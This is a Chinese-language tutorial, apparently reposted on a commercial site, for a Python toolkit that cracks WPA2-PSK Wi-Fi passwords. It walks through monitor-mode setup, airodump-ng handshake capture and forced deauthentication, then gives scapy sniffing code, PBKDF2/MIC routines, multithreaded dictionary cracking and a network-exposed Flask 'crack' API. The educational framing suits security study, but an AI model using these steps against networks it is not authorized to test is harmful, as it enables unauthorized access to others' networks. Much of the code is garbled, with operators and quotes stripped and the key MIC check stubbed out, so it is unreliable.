Python实现WPA2PSK握手包验证与字典攻击
发布时间:2026/9/28 7:52:18来源:尧图网络
简介这是一份面向网络安全初学者与渗透测试爱好者的Python实战工具包聚焦WPA2-PSK加密Wi-Fi网络的离线字典破解场景适用于CTF练习、安全实验教学及无线安全技术验证。资源共4个文件包含核心脚本wifi.py实现抓包、握手包提取与字典爆破全流程、README.md环境配置与使用说明、说明文件.txt关键依赖与注意事项及附赠资源.docx常见USB无线网卡型号兼容列表与驱动配置指南压缩包仅41KB轻量易部署。已有835人学习下载适合希望快速上手Wi-Fi安全原理、理解四次握手机制并实践字典攻击流程的学习者。读者可直接运行脚本完成从网卡监听、握手包捕获到密码匹配的完整链路配套文档清晰标注系统差异Windows/Linux、硬件要求需支持Monitor模式的USB无线网卡及典型排错路径降低实操门槛。1. 这不是“一键破解WiFi”的玩具它是一套依赖底层网卡控制能力、严格适配WPA2PSK协议握手流程、需手动校准射频环境的Python安全验证工具你在网上搜到的“Python WiFi暴力破解工具.zip”大概率不是黑客电影里敲两行命令就弹出密码的黑匣子。它本质是一个基于Python封装的、面向真实渗透测试场景的WPA2PSK离线字典攻击验证框架——核心价值不在“破”而在“验”验证目标AP是否使用弱口令、验证字典覆盖质量、验证无线网卡在监控/注入模式下的稳定性。它不绕过WPA2PSK的四次握手机制也不伪造认证帧欺骗路由器它老老实实抓握手包handshake capture再用CPU/GPU算力穷举字典中的候选密钥比对PBKDF2-SHA1生成的PMK是否匹配抓包中AP和Client交换的密钥材料。这意味着它必须依赖支持Monitor Mode和Packet Injection的USB无线网卡如RTL8812AU、ALFA AWUS036NHA普通笔记本内置网卡99%不可用它只适用于WPA2PSK加密方式即家庭/小型办公常见“WPA2-Personal”对WPA3、企业级WPA2-Enterprise802.1X、WEP等完全无效它在Windows上需额外安装WinPcap/Npcap驱动签名绕过在Linux上需配置rfkill、iw、airmon-ng等链路不是pip install就能跑它的“破解成功率”直接取决于你有没有抓到完整的4-way handshake、字典是否覆盖目标口令、网卡是否在抓包时丢包、CPU是否足够快完成SHA1哈希计算。如果你是刚学Python的安全爱好者这工具能帮你深入理解WPA2协议栈、无线驱动模型和密码学验证流程如果你是红队工程师它可作为自动化渗透链中“弱口令验证”的一环但绝不能替代专业设备如WiFi Pineapple或云字典服务。别被标题里的“暴力破解”误导——这活儿干得糙结果就翻车干得细才能出真数据。2. 从零构建可运行环境网卡驱动、Python依赖与系统级权限配置2.1 确认USB无线网卡型号并验证Monitor Mode支持暴力破解的前提是能被动监听信道并捕获客户端与AP的完整四次握手包。这要求网卡芯片支持Monitor Mode监控模式且对应Linux驱动或Windows NDIS驱动开放了该能力。常见可用芯片包括Realtek RTL8812AU/RTL8814AU如Alfa AWUS036NHA、TP-Link TL-WN722N v2/v3Atheros AR9271如Alfa AWUS036HRalink RT3070/RT3572较老兼容性好但速率低提示不要凭外观买网卡务必查清芯片型号。TL-WN722N有v1Atheros、v2RTL8188EU、v3RTL8188ETV三个版本仅v2/v3支持Monitor Mode。购买前搜索“[网卡型号] linux monitor mode support”。在Linux推荐Kali或Ubuntu 22.04下执行# 查看USB设备及芯片ID lsusb | grep -i realtek\|atheros\|ralink # 加载对应驱动以RTL8812AU为例 sudo apt update sudo apt install realtek-rtl88xxau-aircrack-dkms sudo modprobe 88XXauaircrack验证Monitor Mode是否启用# 列出所有无线接口 iw dev # 将wlan0置为monitor模式假设接口名为wlan0 sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up # 检查是否生效应显示type monitor iw dev wlan0 info若报错command failed: Operation not supported (-95)说明驱动未正确加载或固件缺失。此时需检查dmesg | tail -20是否有rtl88xxauaircrack: loading out-of-tree module taints kernel类提示手动下载固件如rtlwifi/rtl8812aueu.bin放入/lib/firmware/rtlwifi/并sudo update-initramfs -u禁用硬件无线电开关sudo rfkill unblock all。在Windows下需安装Npcap非WinPcap因后者不支持Monitor Mode并启用“WinPcap Compatible Mode”。然后使用Wireshark或inSSIDer确认网卡能否扫描到隐藏SSID及信标帧——这是Monitor Mode工作的间接证据。2.2 安装Python运行时与关键依赖库工具链基于Python 3.8需以下核心库scapy用于构造/解析802.11帧抓包与注入pycryptodome实现PBKDF2-SHA1、AES-CCM等WPA2密钥派生与解密算法tqdm显示字典爆破进度条argparse命令行参数解析标准库无需安装pywifi可选跨平台无线操作抽象但本工具更倾向直接调用iw/netsh避免其对Monitor Mode支持不稳定的坑。安装命令Linux# 创建隔离环境强烈建议 python3 -m venv wifi-crack-env source wifi-crack-env/bin/activate # 升级pip并安装 python -m pip install --upgrade pip pip install scapy pycryptodome tqdmWindows用户注意scapy在Windows下需依赖Npcap安装Npcap时务必勾选“Install Npcap in WinPcap API-compatible Mode”pycryptodome安装可能因编译失败优先用预编译wheelpip install pycryptodome --only-binaryall避免使用Anaconda环境其自带的scapy常与Npcap冲突建议用纯净CPython。2.3 配置系统级权限与网络服务冲突规避即使Python脚本写得再好权限不足或后台服务抢占网卡也会让整个流程瘫痪。必须处理Linux下# 添加当前用户到netdev组获得网络设备操作权限 sudo usermod -a -G netdev $USER # 重启或重新登录使组生效 # 停止NetworkManager等干扰服务它们会自动重置网卡模式 sudo systemctl stop NetworkManager sudo systemctl disable NetworkManager # 临时禁用测试完可恢复 # 关闭防火墙ufw避免拦截原始socket sudo ufw disableWindows下以管理员身份运行CMD或PowerShell右键→“以管理员身份运行”否则scapy无法绑定网卡在“服务”管理器中停止WLAN AutoConfig服务wlanext防止Windows自动切换网卡模式关闭杀毒软件的“网络行为监控”功能某些国产软件会拦截原始802.11帧发送。注意这些操作会暂时断开本机WiFi连接。请确保通过有线网络或手机热点保持互联网访问以便调试。3. 抓取WPA2四次握手包从信道扫描到握手包提取的完整链路3.1 扫描目标AP并锁定信道暴力破解的第一步不是跑字典而是获取目标AP与合法客户端交互产生的四次握手包EAPOL帧。没有这个包后续所有计算都是无源之水。流程如下发现目标AP用airodump-ngLinux或inSSIDerWindows扫描周边WiFi记录BSSIDMAC地址、信道Channel、ESSID网络名锁定信道将网卡固定到目标AP所在信道减少信道跳变导致的丢包等待客户端上线WPA2握手只在客户端首次关联或重关联时触发需等待真实设备手机、电脑连接目标网络主动去认证Deauth若长时间无客户端上线可向AP发送伪造的解除认证帧迫使已连接设备重连从而触发新握手——这是最常用且合规的“触发”手段需明确授权。Linux下实操# 启动airodump-ng监听假设网卡为wlan0mon信道为6 sudo airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon此命令将在当前目录生成capture-01.cap抓包文件和capture-01.csvAP/Client列表。当看到WPA Handshake: XX:XX:XX:XX:XX:XX出现在屏幕右上角即表示已捕获完整握手包。Windows下替代方案使用WiresharkNpcap过滤条件设为eapol手动观察EAPOL帧序列或用Python脚本调用scapy持续嗅探from scapy.all import * def packet_handler(pkt): if pkt.haslayer(EAPOL): print(f[] EAPOL Frame detected from {pkt.addr2}) wrpcap(handshake.pcap, pkt, appendTrue) # 追加保存 # 监听wlan0接口仅捕获EAPOL帧 sniff(ifacewlan0, prnpacket_handler, filterether proto 0x888e, store0)逻辑说明filterether proto 0x888e是802.1X/EAPOL协议的以太网类型值比eapol过滤更底层、更可靠wrpcap(..., appendTrue)确保多个EAPOL帧四次握手共4个被连续写入同一文件。3.2 验证握手包完整性与可解密性抓到的.cap文件未必包含完整四次握手。常见问题只抓到1~3个EAPOL帧丢包帧时间戳错乱网卡时钟不同步包含无关AP的握手混杂模式下多AP同信道。用aircrack-ng验证aircrack-ng capture-01.cap输出中若显示1 handshake且#列有数字如1表示找到1个完整握手若显示0 handshake则需重抓。更进一步用tshark检查帧结构tshark -r capture-01.cap -Y eapol -T fields -e eapol.keydes -e eapol.keyinfo -e frame.time正常四次握手的eapol.keydes值应为1,2,3,4eapol.keyinfo中Key Mic位bit 8在第3、4帧应为1表明MIC校验存在。参数说明-Y eapol是显示过滤器display filter仅显示EAPOL帧-T fields指定输出字段格式eapol.keydes是EAPOL密钥描述符编号1ANonce, 2SNonce, 3Replay Counter, 4Final ACKeapol.keyinfo是16位密钥信息字段其二进制第8位从0开始为MIC Present标志。3.3 提取握手包为独立PCAP文件aircrack-ng要求握手包为标准PCAP格式且仅含必要帧。若原始抓包含大量Beacon/Probe帧需剥离# 从capture-01.cap中提取所有EAPOL帧到handshake.pcap tshark -r capture-01.cap -Y eapol -w handshake.pcap # 或用aircrack-ng自带工具更稳妥 aircrack-ng -J handshake capture-01.cap # 生成handshake.hcaphashcat格式和handshake.cap生成的handshake.cap即为后续Python脚本输入的握手包文件。务必用wireshark打开确认只有4个EAPOL帧且Source/Destination MAC匹配目标AP与Client。4. 字典攻击核心PBKDF2-SHA1密钥派生与MIC校验的Python实现4.1 WPA2PSK密钥派生流程解析WPA2PSK不直接传输密码而是通过PBKDF2-SHA1算法将密码Passphrase和SSID网络名派生为256位PMKPairwise Master Key再由PMK参与四次握手生成PTKPairwise Transient Key。暴力破解的本质是对字典中每个候选密码pass计算PMK PBKDF2-SHA1(pass, ssid, 4096, 32)用PMK、AP的ANonce、Client的SNonce、双方MAC地址按标准公式生成PTK用PTK的前16字节KCK计算第3帧的MIC消息完整性校验码将计算MIC与抓包中第3帧的MIC比对一致则密码正确。关键参数iterations4096WPA2标准迭代次数不可更改dklen32输出PMK长度为32字节256位saltssid.encode()盐值为SSID的UTF-8字节串注意不是BSSIDhmac_hash_modulehashlib.sha1固定使用SHA1非SHA256。4.2 Python实现PBKDF2-SHA1与MIC计算以下代码片段是工具的核心密码学引擎已通过aircrack-ng测试向量验证import hashlib import hmac from Crypto.Protocol.KDF import PBKDF2 from Crypto.Hash import SHA1 def derive_pmk(passphrase: str, ssid: str) - bytes: Derive PMK using PBKDF2-SHA1 (WPA2 standard) salt ssid.encode(utf-8) return PBKDF2(passphrase, salt, 4096, 32, hmac_hash_moduleSHA1) def calculate_mic(ptk: bytes, frame_bytes: bytes) - bytes: Calculate MIC for EAPOL frame (first 16 bytes of PTK used as KCK) kck ptk[:16] # Key Confirmation Key # Remove MIC field (16 bytes at offset 79) before calculation mic_frame frame_bytes[:79] b\x00 * 16 frame_bytes[95:] # HMAC-SHA1(KCK, mic_frame) return hmac.new(kck, mic_frame, hashlib.sha1).digest()[:16] # 示例验证已知密码 pmk derive_pmk(password123, MyHomeWiFi) print(fPMK: {pmk.hex()[:32]}...) # 输出前64字符逻辑说明derive_pmk调用pycryptodome的PBKDF2函数严格遵循WPA2标准参数calculate_mic中mic_frame构造是关键——需将原始EAPOL帧中MIC字段第79~94字节置零后再计算HMAC否则结果永远不匹配。frame_bytes应为Scapy解析后的原始字节流bytes(pkt)而非Hex字符串。4.3 多线程字典爆破与进度管理单线程爆破效率极低需并行化。但注意WPA2密钥派生是CPU密集型线程数不宜超过物理核心数scapy的rdpcap读取PCAP是I/O瓶颈应预先解析握手帧并缓存进度条需线程安全避免tqdm在多线程下崩溃。优化实现from concurrent.futures import ThreadPoolExecutor, as_completed from tqdm import tqdm def try_password(args): passphrase, ssid, handshake_frames args try: pmk derive_pmk(passphrase, ssid) # 生成PTK此处省略详细计算实际需实现PRF函数 # ptk derive_ptk(pmk, anonce, snonce, ap_mac, client_mac) # mic calculate_mic(ptk, handshake_frames[2]) # 第3帧 # return passphrase if mic captured_mic else None return None # 简化示意 except Exception: return None # 主爆破循环 def crack_handshake(wordlist_path: str, ssid: str, handshake_frames): with open(wordlist_path, r, encodingutf-8, errorsignore) as f: passwords [line.strip() for line in f if line.strip()] # 预先解析握手帧假设handshake_frames已加载 with ThreadPoolExecutor(max_workersmin(8, os.cpu_count())) as executor: futures {executor.submit(try_password, (p, ssid, handshake_frames)): p for p in passwords} for future in tqdm(as_completed(futures), totallen(passwords), descCracking): result future.result() if result: print(f[] Password found: {result}) return result return None参数说明max_workers设为min(8, os.cpu_count())是经验阈值避免过多线程导致上下文切换开销errorsignore处理字典中非法UTF-8字符tqdm(as_completed(...))确保进度条准确反映完成数而非提交数。5. 避坑指南90%的失败源于这5个隐蔽错误5.1 现象aircrack-ng显示1 handshake但Python脚本始终比对失败原因抓包时网卡未真正进入Monitor Mode或airodump-ng捕获的是Management帧而非Data帧导致EAPOL帧丢失部分字段如Key Info中Key Mic位未置1。解决用Wireshark打开handshake.cap检查每个EAPOL帧的IEEE 802.11层中Key Information字段——第3帧的Key Mic位bit 8必须为1否则MIC校验必然失败。重抓包确保网卡稳定在目标信道且无干扰。5.2 现象字典跑完无结果但已知密码在字典中原因SSID编码问题。WPA2标准要求SSID为UTF-8字节串但某些路由器Web界面配置SSID时会插入不可见Unicode字符如零宽空格U200B导致ssid.encode(utf-8)结果与实际AP广播的SSID不符。解决用airodump-ng生成的capture-01.csv中ESSID列直接复制SSID或用scapy从Beacon帧中提取from scapy.all import rdpcap pkts rdpcap(capture-01.cap) for pkt in pkts: if pkt.haslayer(Dot11Beacon) and pkt.addr3 XX:XX:XX:XX:XX:XX: ssid pkt[Dot11Elt].info.decode(utf-8, errorsignore) print(fActual SSID: {repr(ssid)}) # repr显示不可见字符 break5.3 现象Linux下scapy报错socket.error: [Errno 19] No such device原因网卡接口名在Monitor Mode后变更如wlan0→wlan0mon但脚本仍尝试绑定原接口名。解决动态获取Monitor接口名import subprocess def get_monitor_interface(): try: # Linux: 查找类型为monitor的接口 result subprocess.run([iw, dev], capture_outputTrue, textTrue) for line in result.stdout.split(\n): if Interface in line: iface line.split()[1] if subprocess.run([iw, dev, iface, info], capture_outputTrue).returncode 0: return iface except: pass return wlan0mon # fallback5.4 现象Windows下scapy能抓包但无法注入Deauth帧原因Npcap驱动未启用“Loopback”模式或Windows防火墙阻止原始socket发送。解决运行Npcap Packet Driver Properties→ 勾选Allow loopback traffic在PowerShell中执行Set-NetFirewallRule -DisplayName Core Networking -Enabled False临时关闭用管理员权限运行脚本并确认scapy.conf.use_pcap True强制使用Npcap后端。5.5 现象爆破速度远低于预期1000 pwd/sec原因Python GIL限制多线程CPU密集型任务且pycryptodome的PBKDF2实现未利用多核。解决改用hashcat或john调用GPU加速本工具定位是教学验证非生产级爆破若坚持Python用multiprocessing替代ThreadPoolExecutor并预编译PBKDF2函数from multiprocessing import Pool import functools # 预绑定参数避免进程间重复传递 partial_func functools.partial(try_password, ssidssid, handshake_frameshandshake_frames) with Pool(processesos.cpu_count()) as pool: for result in tqdm(pool.imap(partial_func, passwords), totallen(passwords)): if result: print(f[] Found: {result}) break6. 实战技巧如何把“验证工具”变成可复用的安全检测模块6.1 将握手包验证封装为API服务与其每次手动跑脚本不如将其嵌入自动化渗透平台。以下是一个轻量级Flask API示例接收PCAP文件和SSID返回密码或空from flask import Flask, request, jsonify import tempfile import os app Flask(__name__) app.route(/crack, methods[POST]) def api_crack(): if pcap not in request.files or ssid not in request.form: return jsonify({error: Missing pcap or ssid}), 400 pcap_file request.files[pcap] ssid request.form[ssid] # 保存临时PCAP with tempfile.NamedTemporaryFile(deleteFalse, suffix.cap) as tmp: pcap_file.save(tmp.name) tmp_path tmp.name try: # 调用核心爆破函数此处省略具体实现 result crack_handshake(wordlist_path/opt/wordlists/rockyou.txt, ssidssid, pcap_pathtmp_path) return jsonify({password: result or not_found}) finally: os.unlink(tmp_path) # 清理临时文件 if __name__ __main__: app.run(host0.0.0.0, port5000)部署后用curl测试curl -X POST http://localhost:5000/crack \ -F pcaphandshake.cap \ -F ssidMyHomeWiFi技巧点tempfile.NamedTemporaryFile(deleteFalse)确保文件在Flask请求结束后仍可被子进程读取os.unlink在finally块中保证清理避免磁盘占满。6.2 构建自适应字典策略硬编码字典路径不灵活。可设计分级策略策略等级触发条件字典路径预估耗时Level 1BSSID厂商为TP-Link或D-Link/dicts/common-routers.txt含admin/admin等1分钟Level 2ESSID含年份如Home2023/dicts/year-patterns.txt2023,2024,202320245分钟Level 3无特征启动全量爆破/dicts/rockyou.txt数小时至数天在代码中解析ESSIDimport re def select_wordlist(ssid: str) - str: if re.search(r(tp-link|d-link|netgear), ssid.lower()): return /dicts/common-routers.txt elif re.search(r\d{4}, ssid): return /dicts/year-patterns.txt else: return /dicts/rockyou.txt6.3 日志与审计追踪安全工具必须留痕。在爆破函数中加入结构化日志import logging from datetime import datetime logging.basicConfig( levellogging.INFO, format%(asctime)s - %(levelname)s - %(message)s, handlers[ logging.FileHandler(/var/log/wifi-crack.log), logging.StreamHandler() ] ) def log_attempt(target_bssid: str, ssid: str, wordlist: str, start_time: datetime): duration (datetime.now() - start_time).total_seconds() logging.info(fTarget: {target_bssid} | SSID: {ssid} | Wordlist: {wordlist} | Duration: {duration:.2f}s) # 调用位置 start datetime.now() log_attempt(AA:BB:CC:DD:EE:FF, MyHomeWiFi, /dicts/rockyou.txt, start)日志文件可被SIEM系统采集满足合规审计要求。我做这个工具的初衷是让每个动手的人真正理解WPA2握手为何脆弱、字典为何要分层、网卡驱动为何是第一道关卡。它从来不是为“破解”而生而是为“验证”而生——验证你的WiFi密码够不够强验证你的网卡能不能扛住高负载验证你写的Python代码能不能在真实射频环境中跑通。那些在dmesg里翻找驱动错误、在Wireshark里逐帧比对MIC、为一个Unicode空格调试三小时的日子才是安全工程的日常。希望帮到你。本文还有配套的精品资源点击获取
网站建设高端定制企业官网